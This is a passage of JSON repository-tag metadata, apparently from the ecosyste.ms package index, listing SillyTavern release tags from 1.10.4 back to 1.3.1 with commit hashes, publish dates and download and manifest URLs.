dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.4/manifests"},{"name":"1.10.3","sha":"2b3055a84adee50a55c97c20f9ca8d6ff061c28d","kind":"commit","published_at":"2023-09-15T11:56:15.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.3/manifests"},{"name":"1.10.2","sha":"3830347d81d4e75d5e2a266f12888416f2e4a0f1","kind":"commit","published_at":"2023-09-06T13:06:23.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.2/manifests"},{"name":"1.10.1","sha":"500994e05165359245e7e884fb8155870448d2d9","kind":"commit","published_at":"2023-09-06T11:50:25.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.1/manifests"},{"name":"1.10.0","sha":"eb8d4b1f63d7ff9580214265faf431de95fa2186","kind":"commit","published_at":"2023-08-29T17:27:55.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.0/manifests"},{"name":"1.9.7","sha":"e4d1463a22554fa5406e806ebb3c2e2c96891143","kind":"commit","published_at":"2023-08-10T09:50:02.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.7/manifests"},{"name":"1.9.6","sha":"9b5e082a265ca1081932bef1ff85b8d0ccfeabd8","kind":"commit","published_at":"2023-08-08T20:29:35.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.6/manifests"},{"name":"1.9.5","sha":"6c909acea617724d6165566ed27a89242ac966cf","kind":"commit","published_at":"2023-08-08T19:54:20.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.5/manifests"},{"name":"1.9.4","sha":"29d841a50b89fe10cbbfa7b22c6f82b1dc7cf096","kind":"commit","published_at":"2023-07-31T09:54:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.4/manifests"},{"name":"1.9.3","sha":"675cabb7e30faf4931614175af2f4a8afcf042d3","kind":"commit","published_at":"2023-07-29T19:58:58.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.3/manifests"},{"name":"1.9.2","sha":"ef3c8a19fe5ec487af029608377636f8c892ff9c","kind":"commit","published_at":"2023-07-22T11:19:32.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.2/manifests"},{"name":"1.9.1","sha":"ef8a6d61279f19eb866acbfb54a5097bf342cc6e","kind":"commit","published_at":"2023-07-21T16:18:04.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.1/manifests"},{"name":"1.9.0","sha":"06912dba0ae7b1df7d75dbe1da52a7e5ab7471ba","kind":"commit","published_at":"2023-07-20T11:25:38.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.0/manifests"},{"name":"1.8.4","sha":"e3e2b73b99de7139b61a2c253397cf0230ca444f","kind":"commit","published_at":"2023-07-19T08:53:12.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.4/manifests"},{"name":"1.8.3","sha":"243e89091a78d5c31d7773473d57197613dc428a","kind":"commit","published_at":"2023-07-07T09:26:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.3/manifests"},{"name":"1.8.2","sha":"aed6e3413accb8037bb776672ee7cebecca23a59","kind":"commit","published_at":"2023-07-05T13:11:55.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.2/manifests"},{"name":"1.8.1","sha":"c922f17f092da5f5cfa1dc786b6f31ecf1c4444c","kind":"commit","published_at":"2023-07-04T08:49:46.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.1/manifests"},{"name":"1.8.0","sha":"d6fd5455e6a21cb35b3d6ba1408d8575bd5e9e15","kind":"commit","published_at":"2023-07-03T16:23:26.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.0/manifests"},{"name":"1.7.3","sha":"2bbc40a79671bc29dc168f5fa51a2597c47afcba","kind":"commit","published_at":"2023-06-29T09:20:00.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.7.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.3/manifests"},{"name":"1.7.2","sha":"3b99f7839bac82da6d9ad6e01e25a1b31be5f0ca","kind":"commit","published_at":"2023-06-28T22:10:04.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.7.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.2/manifests"},{"name":"1.7.1","sha":"b09ea054dfbe457d00c57c0246f96ee46ce3c521","kind":"commit","published_at":"2023-06-15T21:24:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.7.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"a7a7ec051834f5ee1bdd8273b978273d18ba07bd","kind":"commit","published_at":"2023-06-15T12:11:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.7.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.0/manifests"},{"name":"1.6.8","sha":"6541d3e741f78cffec94b8a4f01d98339fa46316","kind":"commit","published_at":"2023-06-09T19:35:17.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.8/manifests"},{"name":"1.6.7","sha":"b1d5637fcf394331bdd541028ee52715474c7a52","kind":"commit","published_at":"2023-06-07T20:40:10.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.7/manifests"},{"name":"1.6.6","sha":"c299ef0a86e1a1a0eba2ae9ad582bbae70c03d66","kind":"commit","published_at":"2023-06-04T01:29:22.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.6/manifests"},{"name":"1.6.5","sha":"77f76ae31520477ea4da0ed4cf49780295654077","kind":"commit","published_at":"2023-06-01T15:55:04.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.5/manifests"},{"name":"1.6.4","sha":"bf7f04e3b29a04c86a743eb681881736196d07ea","kind":"commit","published_at":"2023-06-01T08:18:53.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"83c875d8dcac579d271a985d5ccedd69bd257388","kind":"commit","published_at":"2023-06-01T07:13:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.3/manifests"},{"name":"1.6.2","sha":"b359dd1e81e653a90cd04a2b61cc71d8b93e66ef","kind":"commit","published_at":"2023-05-30T23:09:54.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.2/manifests"},{"name":"1.6.1","sha":"747567466f39658a26066d13be37ed16893fee8d","kind":"commit","published_at":"2023-05-30T22:24:20.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"9ff643c489d3d18c0f562004a2d80973a1a0efb7","kind":"commit","published_at":"2023-05-30T17:40:42.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.0/manifests"},{"name":"1.5.5","sha":"061bad7d1fe8fc929b78d14471e81da503f3b645","kind":"commit","published_at":"2023-05-22T09:04:09.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.5/manifests"},{"name":"1.5.4","sha":"da76933c9514bd0efb374843ac5170c52ff915c5","kind":"commit","published_at":"2023-05-19T08:57:03.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.4/manifests"},{"name":"1.5.3","sha":"419afc783ea106910aff28d4cb4a41ca80016df5","kind":"commit","published_at":"2023-05-14T18:54:52.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"88a726d9ad906c1dcd61f8ff9069513f7fda5474","kind":"commit","published_at":"2023-05-14T14:23:12.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"08be78620d24b17b3ceb78cd308838877b18d1c4","kind":"commit","published_at":"2023-05-12T17:52:53.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.1/manifests"},{"name":"1.5.0-preview","sha":"4028ddb90ad7d38ac37551c2f41991b2c6300ed0","kind":"commit","published_at":"2023-05-08T16:06:25.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.0-preview","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.0-preview","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.0-preview","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.0-preview","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.0-preview/manifests"},{"name":"1.4.9","sha":"9d9aac014a1c2e526038a24c121e23cdab6317a8","kind":"commit","published_at":"2023-04-26T08:57:32.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.9","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.9/manifests"},{"name":"1.4.8","sha":"21586ab139e4708104308aaabc3b17937d4dbd08","kind":"commit","published_at":"2023-04-22T18:49:50.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.8/manifests"},{"name":"1.4.1","sha":"3b74d5ace700ff452d9fea8eac2aef50291f8306","kind":"commit","published_at":"2023-04-21T20:33:40.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"be307b11078936f5c9f7d8866a1b7ee5d528d83e","kind":"commit","published_at":"2023-04-20T20:16:15.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.0/manifests"},{"name":"1.4.0-preview","sha":"2e5ce1485bc27929178f91bf33937173028fac7d","kind":"commit","published_at":"2023-04-18T21:52:48.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.0-preview","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.0-preview","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.0-preview","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.0-preview","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.0-preview/manifests"},{"name":"1.3.3","sha":"415af67ea3a7335c634457595d28fbcf9dc97edb","kind":"commit","published_at":"2023-04-11T20:08:48.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.3.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.3/manifests"},{"name":"1.3.2","sha":"7277622c249f7ca865bb1f29b062e6e8b2228f56","kind":"commit","published_at":"2023-04-10T18:45:18.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.3.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.2/manifests"},{"name":"1.3.1","sha":"66f7d55f767eb480b8e75676156992f976d5fced","kind":"commit","published_at":"2023-04-09T21:08:10.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.3.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.1/manifests"},{"name":"1.